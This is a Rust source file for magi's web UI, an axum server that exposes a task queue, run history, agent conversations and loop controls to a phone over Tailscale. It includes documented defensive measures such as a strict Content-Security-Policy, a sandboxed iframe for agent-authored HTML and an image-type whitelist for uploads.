Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
130pub const DEFAULT_PORT: u16 = 7878;
131
132/// How often the change stream restats the queue and the runs directory.
133const POLL: Duration = Duration::from_secs(1);
134
135/// Keep-alive interval for the change stream. Phones and intermediaries drop
136/// an idle connection within a minute; a comment every fifteen seconds keeps
137/// the stream alive without waking the radio often enough to matter.
138const KEEPALIVE: Duration = Duration::from_secs(15);
139
140/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
141///
142/// A fixed period this long would not track a `[update] interval` shorter
143/// than itself: an operator who set `interval = "1m"` to make the deck
144/// notice a release within a minute would still wait up to fifteen of them
145/// for the next wake-up to even ask [`updater::Checker::should_check`].
146/// [`recheck_poll_period`] scales the sleep with the configured interval
147/// instead, and this is only its ceiling - reached at the default interval
148/// of a day, where waking any more often would just spend cycles asking a
149/// question that stays "no" for hours.
150const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152/// Floor on the same, so a very short `[update] interval` cannot spin
153/// [`run_update_recheck`] in a near-busy loop.
154const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156/// Runs returned when the client does not ask, and the ceiling if it asks for
157/// more. The cap exists because the list handler parses every `run.json` it
158/// returns, and a phone cannot render two thousand rows anyway.
159const LIST_DEFAULT: usize = 50;
160/// Upper bound for `?limit=`.
161const LIST_MAX: usize = 500;
162
163/// Width of a generated task title, matching what the CLI uses.
164const TITLE_MAX: usize = 72;
165
166/// Per-file cap for an attachment upload.
167///
168/// Enforced twice: axum's own body limit is raised one byte above this, only
169/// on the two attachment `POST` routes (see the router - every other route
170/// keeps the crate-wide default), so an oversize body is still read far
171/// enough to answer with our own message below rather than axum's generic
172/// one; this constant is what that message and the boundary check actually
173/// compare against.
174const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176/// The image types an attachment upload accepts - a closed whitelist, the
177/// same posture [`asset_content_type`] takes for panel assets and for the
178/// same reason: SVG is excluded on purpose because it is active content
179/// (it may carry `<script>`) and not merely a picture, so it never appears
180/// here even though `image/svg+xml` is a real IANA type.
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183/// Header carrying the operator's own filename. Free text, stored only for
184/// display - see [`talk::Attachment::name`]'s doc on why it never
185/// contributes to a path.
186const FILENAME_HEADER: &str = "x-filename";
187
188/// The header that makes serving agent-authored HTML defensible, sent by both
189/// panel routes and asserted verbatim by a test.
190///
191/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
192/// denies every fetch destination that is not re-allowed below, which is all of
193/// them except images and fonts; `img-src 'self' data:` means an image comes
194/// from magi's own asset route or from the document itself, so a panel cannot
195/// signal an outside server by pointing an `<img>` at it - the classic
196/// exfiltration channel for markup that cannot run script. `style-src
197/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
198/// free formatting means here and a style sheet cannot make a request that
199/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
200/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
201/// stops a form posting the owner's decision to a third party, and
202/// `frame-ancestors 'self'` stops another site framing the panel to phish with
203/// it.
204///
205/// There is deliberately no `script-src`: `default-src 'none'` already covers
206/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
207/// denied twice over. Weakening any directive here is the difference between a
208/// panel the owner reads and a page that can talk to the tailnet, which is why
209/// the test compares the whole string rather than looking for a substring.
210const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211                         font-src data:; base-uri 'none'; form-action 'none'; \
212                         frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218/// Which address to listen on.
219#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221    /// Ask Tailscale, and fall back to loopback with a warning.
222    Auto,
223    /// An address the operator named.
224    Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228    type Err = String;
229
230    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
231    /// the CLI can take `--bind` straight into it: the one spelling of
232    /// `auto` that matters is the one this function knows.
233    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234        if s.eq_ignore_ascii_case("auto") {
235            return Ok(Self::Auto);
236        }
237        s.parse()
238            .map(Self::Addr)
239            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240    }
241}
242
243impl std::fmt::Display for Bind {
244    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245        match self {
246            Self::Auto => f.write_str("auto"),
247            Self::Addr(addr) => write!(f, "{addr}"),
248        }
249    }
250}
251
252/// How to serve.
253#[derive(Debug, Clone)]
254pub struct Opts {
255    /// Address to listen on.
256    pub bind: Bind,
257    /// Port to listen on.
258    pub port: u16,
259    /// Repository used for tasks posted without one.
260    pub repo: PathBuf,
261    /// Print the URL on its own line for a caller that wants to hand it to a
262    /// browser. magi never launches one itself.
263    pub open: bool,
264    /// Merge mode override for the loop this process runs (`none`, `local`,
265    /// `pr`); `None` leaves it to each repository's own config.
266    ///
267    /// The same override `magi serve --merge` takes, and here for the same
268    /// reason: `magi web` is now the thing that runs the loop, so an operator
269    /// who wants this session's runs to open pull requests has to be able to
270    /// say so without going back to the command they no longer type.
271    pub merge: Option<String>,
272}
273
274impl Default for Opts {
275    fn default() -> Self {
276        Self {
277            bind: Bind::Auto,
278            port: DEFAULT_PORT,
279            repo: PathBuf::from("."),
280            open: false,
281            merge: None,
282        }
283    }
284}
285
286/// Everything the handlers touch.
287///
288/// The queue, the runs directory and the magi home are fields rather than
289/// process-global lookups so a test drives the real router against a temp
290/// directory instead of the operator's own history.
291#[derive(Debug, Clone)]
292pub struct Ui {
293    queue: Queue,
294    questions: Questions,
295    /// `<home>/notifications`, the bell's own store. Derived from `home` in
296    /// [`Ui::new`] so no constructor signature had to grow.
297    notices: Notices,
298    talks: Talks,
299    runs: PathBuf,
300    home: PathBuf,
301    repo: PathBuf,
302    /// Where the runs' worktrees live, for the health disk figures.
303    ///
304    /// Spelled independently of [`crate::run::default_worktree_root`] so the
305    /// test servers can point it at their own temp directory: the health route
306    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
307    /// be measuring the machine instead of the server.
308    worktrees_root: PathBuf,
309    /// Talks with an agent turn in flight right now.
310    ///
311    /// In-process and therefore not durable, which is correct: it guards
312    /// against two taps on one phone and two phones on one tailnet, both of
313    /// which are this process's own concurrency. A second `magi web` would not
314    /// see it, and a second `magi web` on the same home is already a
315    /// misconfiguration the queue's claims would catch first.
316    talk_turns: Arc<Mutex<TalkTurns>>,
317    /// Held by `POST /api/upgrade` from its busy-stage check until the first
318    /// progress record is written, so two taps cannot both start an upgrade.
319    /// After that `upgrade.json` carries the exclusion.
320    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
322    /// exclusion in memory for when `upgrade.json` could not be written.
323    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324    /// Runs this process is resuming right now.
325    ///
326    /// Separate from `talk_turns` because a run and a talk are different
327    /// things to hold, and a resume is far more expensive to start twice: it
328    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
329    /// guards two taps and two phones, which is this process's own
330    /// concurrency.
331    resuming: Arc<Mutex<HashSet<String>>>,
332    /// The last scan of `[repos] roots`, and when it happened. Shared across
333    /// requests so polling `GET /api/repos` repeatedly does not repeat the
334    /// filesystem walk every time - see [`repos::Cache`].
335    repos_cache: repos::Cache,
336    /// The machine-config file the settings screen reads and writes: always
337    /// [`Config::machine_layer`], never anything a request names. A field so a
338    /// test can point it at its own temp directory instead of the operator's.
339    machine_config: Option<PathBuf>,
340    /// Merge mode override handed to the loop this process starts.
341    merge: Option<String>,
342    /// The loop this process is running, if it is running one.
343    looping: Arc<Mutex<LoopState>>,
344    /// How a loop is actually started.
345    ///
346    /// A field rather than a direct call to [`daemon::serve_until`], because
347    /// the real loop resolves its queue and its status file through the
348    /// process-global magi home and claims whatever it finds there. A test
349    /// that started it would reach straight past its own temp directory into
350    /// the operator's live queue, overwrite the status file of the `magi
351    /// serve` that owns it, and spend real agent quota on a real competition.
352    /// What the routes have to get right is the bookkeeping, so the tests
353    /// drive the routes against a loop that only starts and stops; production
354    /// is [`launch_daemon`] and nothing reassigns it.
355    launch: Launch,
356    /// A test-only stop point inside `talk_say`'s busy branch. See
357    /// [`BusyQueueGate`].
358    #[cfg(test)]
359    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362/// A one-shot stop point the busy branch's queued-draft write can be made to
363/// pause at, right before [`talk::queue`] runs.
364///
365/// Exists because a test cannot otherwise pin *when*, relative to the turn
366/// slot being freed, that write happens: `blocking` runs it on
367/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
368/// already finished, so counting polls on the handler future to park it at a
369/// particular `.await` is a guess about scheduling, not a fact about it - see
370/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
371/// used to do exactly that and paid for it with an occasional "async fn
372/// resumed after completion" panic under load.
373///
374/// `reached` fires the instant the write is about to run, so a test waits for
375/// a real event instead of a poll count. `release` then blocks the write
376/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
377/// rather than an async channel because this all happens inside the
378/// `spawn_blocking` closure the write already runs on, off any runtime
379/// worker, so blocking here costs nothing the write was not already going to
380/// cost.
381#[cfg(test)]
382struct BusyQueueGate {
383    reached: tokio::sync::oneshot::Sender<()>,
384    release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391    }
392}
393
394impl Ui {
395    /// A server over explicit paths.
396    pub fn new(
397        queue: Queue,
398        questions: Questions,
399        talks: Talks,
400        runs: PathBuf,
401        home: PathBuf,
402        repo: PathBuf,
403    ) -> Self {
404        Self {
405            queue,
406            questions,
407            notices: Notices::at(home.join("notifications")),
408            talks,
409            runs,
410            home,
411            repo,
412            // The default location, overridden by `with_worktrees_root` - a
413            // builder step rather than a ninth parameter, for the reason
414            // `with_merge` gives.
415            worktrees_root: run::default_worktree_root(),
416            talk_turns: Arc::default(),
417            upgrade_gate: Arc::default(),
418            upgrade_spawned: Arc::default(),
419            resuming: Arc::default(),
420            repos_cache: repos::Cache::new(),
421            machine_config: Config::machine_layer(),
422            merge: None,
423            looping: Arc::default(),
424            launch: launch_daemon,
425            #[cfg(test)]
426            busy_queue_gate: Arc::default(),
427        }
428    }
429
430    /// The operator's own state: `<home>/queue`, `<home>/questions`,
431    /// `<home>/talks`, `<home>/runs`.
432    pub fn open(repo: PathBuf) -> Self {
433        Self::new(
434            Queue::open(),
435            Questions::open(),
436            Talks::open(),
437            run::runs_root(),
438            run::home(),
439            repo,
440        )
441    }
442
443    /// The merge mode the loop should use, as the command line gave it.
444    ///
445    /// A builder step rather than a seventh parameter on [`Ui::new`], because
446    /// the override is a property of how this process was invoked and not of
447    /// where its state lives - which is all the tests that build a `Ui` by
448    /// hand are saying.
449    #[must_use]
450    pub fn with_merge(mut self, merge: Option<String>) -> Self {
451        self.merge = merge;
452        self
453    }
454
455    /// The machine-config file the settings screen writes, when it is not
456    /// [`Config::machine_layer`] (tests).
457    #[cfg(test)]
458    #[must_use]
459    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460        self.machine_config = path;
461        self
462    }
463
464    /// Where the runs' worktrees live, when it is not the default.
465    ///
466    /// The health view sizes this directory, so a test that leaves it at the
467    /// default would be measuring the operator's own machine.
468    #[must_use]
469    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470        self.worktrees_root = root;
471        self
472    }
473
474    /// Point the loop at something other than [`launch_daemon`].
475    ///
476    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
477    /// this crate may start the real loop.
478    #[cfg(test)]
479    #[must_use]
480    fn with_launch(mut self, launch: Launch) -> Self {
481        self.launch = launch;
482        self
483    }
484
485    /// Install a [`BusyQueueGate`] for the next pass through the busy
486    /// branch's queued-draft write, replacing any earlier one.
487    ///
488    /// A setter on `&self` rather than a `with_*` builder consumed once,
489    /// because a test that drives the busy branch more than once (as
490    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
491    /// to build confidence the interleaving is handled deterministically and
492    /// not just on a lucky run) needs a fresh channel pair each time, on the
493    /// one `Ui` it already built its temp directories around.
494    #[cfg(test)]
495    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496        *self
497            .busy_queue_gate
498            .lock()
499            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500    }
501
502    /// The loop's state, for [`serve`]'s own way out.
503    fn looping(&self) -> Arc<Mutex<LoopState>> {
504        Arc::clone(&self.looping)
505    }
506
507    /// Start the loop in this process, or say who already has one.
508    ///
509    /// `foreign` is passed in rather than read here so that one request makes
510    /// one judgement about who owns the loop: reading the status file again
511    /// inside this function could refuse a start for a daemon the same
512    /// response then reports as gone.
513    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514        if let Some(other) = foreign {
515            return Err(ApiError::conflict(format!(
516                "{} is already running the loop, so this one will not start a \
517                 second: two loops on one queue race for the same claims and \
518                 burn the agent quota twice over. Stop it where it was \
519                 started.",
520                other.who()
521            )));
522        }
523        let mut state = self.lock_loop();
524        if state.live.as_ref().is_some_and(Live::alive) {
525            return Err(ApiError::conflict(format!(
526                "this magi web process (pid {}) is already running the loop",
527                std::process::id()
528            )));
529        }
530
531        let stop = daemon::Stop::new();
532        // The CLI's own defaults for everything the UI has no opinion about:
533        // one poll interval and one retry budget, so a loop started from a
534        // phone behaves exactly like the `magi serve` it replaces.
535        let opts = daemon::Opts {
536            repo: self.repo.clone(),
537            merge: self.merge.clone(),
538            // Whatever this `Ui` already reports worktree sizes and folds
539            // against (see `with_worktrees_root`) is what the loop it starts
540            // must reclaim orphaned worktrees under too - two different
541            // opinions about where the worktree bay is would leave the
542            // janitor pass reclaiming a directory nothing else on this
543            // process is even looking at.
544            worktrees_root: Some(self.worktrees_root.clone()),
545            ..daemon::Opts::default()
546        };
547        let launch = self.launch;
548        let looping = Arc::clone(&self.looping);
549        let handle = tokio::spawn({
550            let opts = opts.clone();
551            let stop = stop.clone();
552            async move {
553                let failure = match launch(opts, stop).await {
554                    Ok(()) => None,
555                    Err(e) => Some(format!("{e:#}")),
556                };
557                match &failure {
558                    Some(why) => tracing::error!("the loop stopped: {why}"),
559                    None => tracing::info!("the loop stopped"),
560                }
561                // Recorded by the task itself rather than reaped by whichever
562                // request happens next, so `loop_rev` moves the moment the
563                // loop ends and a phone with the change stream open learns
564                // that it did. Clearing `live` drops this task's own handle,
565                // which only detaches it, and is the last thing it does.
566                let mut state = lock_or_recover(&looping);
567                state.live = None;
568                state.last_error = failure;
569                state.rev += 1;
570            }
571        });
572        tracing::info!(
573            "the loop is now running in this process: repo {}, merge {}",
574            opts.repo.display(),
575            opts.merge.as_deref().unwrap_or("as the config says")
576        );
577        state.live = Some(Live { stop, handle, opts });
578        // A fresh start is not the place to keep showing why the last one
579        // died; the operator has read it and pressed the button anyway.
580        state.last_error = None;
581        state.rev += 1;
582        Ok(())
583    }
584
585    /// Ask the loop to stop, without waiting for it to get there.
586    ///
587    /// Idempotent: a second tap on stop is not an error, because the first one
588    /// leaves the loop running for as long as the run in flight takes and the
589    /// operator has no way to tell a slow stop from a lost one.
590    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591        if let Some(other) = foreign {
592            return Err(ApiError::conflict(format!(
593                "the loop belongs to {}, and this process cannot stop it - \
594                 stop it where it was started. A button that silently did \
595                 nothing would be worse than this refusal.",
596                other.who()
597            )));
598        }
599        let mut state = self.lock_loop();
600        // An operator who stops the loop has decided it stays stopped, even
601        // across an upgrade that was already in flight.
602        if !park {
603            state.resume_after_handover = false;
604        }
605        let Some(live) = state.live.as_ref() else {
606            return Ok(());
607        };
608        // A park upgrades a stop that has already been asked for: the
609        // operator who tapped "stop" and then realised the run has an hour
610        // left must not have to restart the loop to change their mind.
611        if live.stop.stopped() && (!park || live.stop.parking()) {
612            return Ok(());
613        }
614        if park {
615            live.stop.park();
616            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617        } else {
618            live.stop.stop();
619            tracing::info!("the loop was asked to stop; a run in flight is finished first");
620        }
621        state.rev += 1;
622        Ok(())
623    }
624
625    /// The loop as both `/api/loop` and `/api/health` report it.
626    ///
627    /// `reading` is the caller's single read of `<home>/daemon.json`, because
628    /// health answers with this view *and* the daemon object beside it: one
629    /// read per response is what stops a single answer naming a foreign owner
630    /// in one field and calling the loop free in the other.
631    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632        let state = self.lock_loop();
633        // A loop that panicked never recorded its own end, so the handle -
634        // not the presence of the record - is what "running" means.
635        let live = state.live.as_ref().filter(|live| live.alive());
636        LoopView {
637            running: live.is_some(),
638            stopping: live.is_some_and(|live| live.stop.finishing()),
639            parking: live.is_some_and(|live| live.stop.parking()),
640            owned: live.is_some(),
641            repo: live
642                .map_or(&self.repo, |live| &live.opts.repo)
643                .display()
644                .to_string(),
645            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646            last_error: state.last_error.clone(),
647            daemon: DaemonView::of(reading),
648        }
649    }
650
651    /// Start the loop in a successor whose predecessor was running one.
652    ///
653    /// Goes through the same path as the UI's start-loop action. A refusal
654    /// (another process owns the loop) is logged and left in `last_error`;
655    /// the loop then simply stays stopped.
656    fn resume_after_handover(&self, resume: bool) -> bool {
657        if !resume {
658            return false;
659        }
660        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661        match self.start_loop(foreign) {
662            Ok(()) => true,
663            Err(e) => {
664                let why = format!(
665                    "the loop could not be resumed after the upgrade: {}",
666                    e.message
667                );
668                tracing::warn!("{why}");
669                let mut state = self.lock_loop();
670                state.last_error = Some(why);
671                state.rev += 1;
672                false
673            }
674        }
675    }
676
677    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
678    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679        lock_or_recover(&self.looping)
680    }
681
682    /// Whether this process currently owns the agent turn for `id`.
683    ///
684    /// This deliberately describes only the in-memory claim made by
685    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
686    /// never persisted with a [`Talk`].
687    fn is_thinking(&self, id: &str) -> bool {
688        self.talk_turns
689            .lock()
690            .is_ok_and(|turns| turns.live.contains(id))
691            // Another process (the CLI) can hold the turn through the
692            // on-disk lease.
693            || self.talks.turn_held(id)
694    }
695
696    /// Claim the right to run one turn in a talk, or report that it is busy.
697    ///
698    /// A talk is strictly turn-based: the agent is resumed with the
699    /// conversation it already has, so two turns running at once would resume
700    /// the same session twice and append their answers in whatever order the
701    /// two CLIs finished in. The operator would come back to a transcript
702    /// with two half-turns interleaved, which is unreadable and, worse,
703    /// unfixable - there is no undo for a persisted turn.
704    ///
705    /// A busy result is queued as a durable draft by [`talk_say`], rather than
706    /// starting a second CLI invocation for the same session.
707    ///
708    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
709    /// taken to test-and-insert and released before the agent is spawned. The
710    /// returned guard removes the id on drop, which is what makes a panicking
711    /// handler or a phone that walks out of range leave the talk usable - axum
712    /// drops the handler future when the client disconnects, and without the
713    /// guard that talk would be wedged until the server restarted.
714    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715        self.claim_talk_turn(id, false)
716    }
717
718    /// Claim a turn after durably queueing a draft, or notify its current
719    /// owner that a drainer must recheck before it releases the slot.
720    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721        self.claim_talk_turn(id, true)
722    }
723
724    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725        let mut live = self
726            .talk_turns
727            .lock()
728            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729        let inserted = live.live.insert(id.to_owned());
730        // The on-disk lease is the cross-process half of the gate. Taken
731        // second, and undone if lost, so `live` never claims a turn the lease
732        // refused.
733        let lease = if inserted {
734            match self.talks.claim_turn(id) {
735                Ok(Some(lease)) => Some(lease),
736                Ok(None) => {
737                    live.live.remove(id);
738                    None
739                }
740                Err(e) => {
741                    live.live.remove(id);
742                    return Err(ApiError::from(e));
743                }
744            }
745        } else {
746            None
747        };
748        if lease.is_none() {
749            if queued {
750                // A queued write has landed before this busy check.
751                // `drain_loop` uses this generation to recheck after its
752                // off-thread disk read, so it cannot release a turn between
753                // this check and the write.
754                *live.queued.entry(id.to_owned()).or_default() += 1;
755            }
756            return Ok(None);
757        }
758        Ok(Some(TalkTurnGuard {
759            talk: id.to_owned(),
760            turns: Arc::clone(&self.talk_turns),
761            released: false,
762            lease,
763        }))
764    }
765
766    /// Decide whether a free talk may start a new immediate turn while its
767    /// claim lock is held. A persisted draft without an owner is recovery
768    /// state, not a busy turn: two simultaneous `/say` requests must both
769    /// leave it untouched rather than one of them appending to it.
770    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
771        let mut live = self
772            .talk_turns
773            .lock()
774            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
775        if live.live.contains(id) {
776            return Ok(TalkTurnStart::Busy);
777        }
778        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
779            return Ok(TalkTurnStart::Foreign);
780        };
781        // A refused `Pending` below drops the lease again.
782        let talk = self.talks.get(id).map_err(ApiError::from)?;
783        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
784            return Ok(TalkTurnStart::Pending);
785        }
786        live.live.insert(id.to_owned());
787        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
788            talk: id.to_owned(),
789            turns: Arc::clone(&self.talk_turns),
790            released: false,
791            lease: Some(lease),
792        }))
793    }
794
795    /// Park the loop for an upgrade, and report the run that is parking.
796    ///
797    /// A park rather than a stop: a stop waits out the whole competition, and
798    /// not waiting is the point of upgrading from a phone. `None` means
799    /// nothing was in flight, which is worth saying so the operator is not
800    /// told a run is parking when none is.
801    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
802        let parking = {
803            let mut state = self.lock_loop();
804            // Decided here, before the park: by the time the handover fires
805            // an idle loop has already seen the park and ended, so `live`
806            // would read as "was never running". A loop the operator had
807            // already stopped stays stopped.
808            //
809            // Sticky: a second upgrade request finds the loop already
810            // stopping because of the first one's park, and must not read
811            // that as the operator having stopped it. Only an explicit stop
812            // or a failed update clears an earlier intent.
813            let resume = state.resume_after_handover
814                || state
815                    .live
816                    .as_ref()
817                    .is_some_and(|live| live.alive() && !live.stop.stopped());
818            state.resume_after_handover = resume;
819            let Some(live) = state.live.as_ref() else {
820                return Ok(None);
821            };
822            let busy = live.stop.busy_now();
823            live.stop.park();
824            state.rev += 1;
825            busy
826        };
827        Ok(if parking {
828            // More than one run can be in flight now (see
829            // `Config::daemon.max_concurrent_runs`); this answer names one of
830            // them so the operator sees a park actually happened, not every
831            // run a park now asks to stop at its next boundary.
832            daemon::current_work(&self.home, jiff::Timestamp::now())
833                .into_iter()
834                .next()
835                .map(|c| c.run)
836        } else {
837            None
838        })
839    }
840
841    /// Claim a run for a resume, on the same reasoning as
842    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
843    /// disconnected phone does not wedge the run until the server restarts.
844    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
845        let mut live = self
846            .resuming
847            .lock()
848            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
849        if !live.insert(id.to_owned()) {
850            return Err(ApiError::conflict(format!(
851                "run {id} is already being resumed"
852            )));
853        }
854        Ok(ResumeGuard {
855            run: id.to_owned(),
856            resuming: Arc::clone(&self.resuming),
857        })
858    }
859
860    /// The router, with this state baked in.
861    ///
862    /// The three front-end files get one explicit route each rather than a
863    /// path parameter, so there is no traversal surface to get wrong: the set
864    /// of servable paths is the set written here. The asset route below is the
865    /// one exception and the only place in this server where a client names a
866    /// file; it is why [`valid_asset_name`] is checked before a path is built.
867    pub fn router(self) -> Router {
868        Router::new()
869            .route("/", get(index))
870            .route("/app.css", get(app_css))
871            .route("/app.js", get(app_js))
872            .route("/api/health", get(health))
873            .route("/api/loop", get(loop_get).post(loop_post))
874            .route("/api/upgrade", post(upgrade_post))
875            .route("/api/runs", get(runs_list))
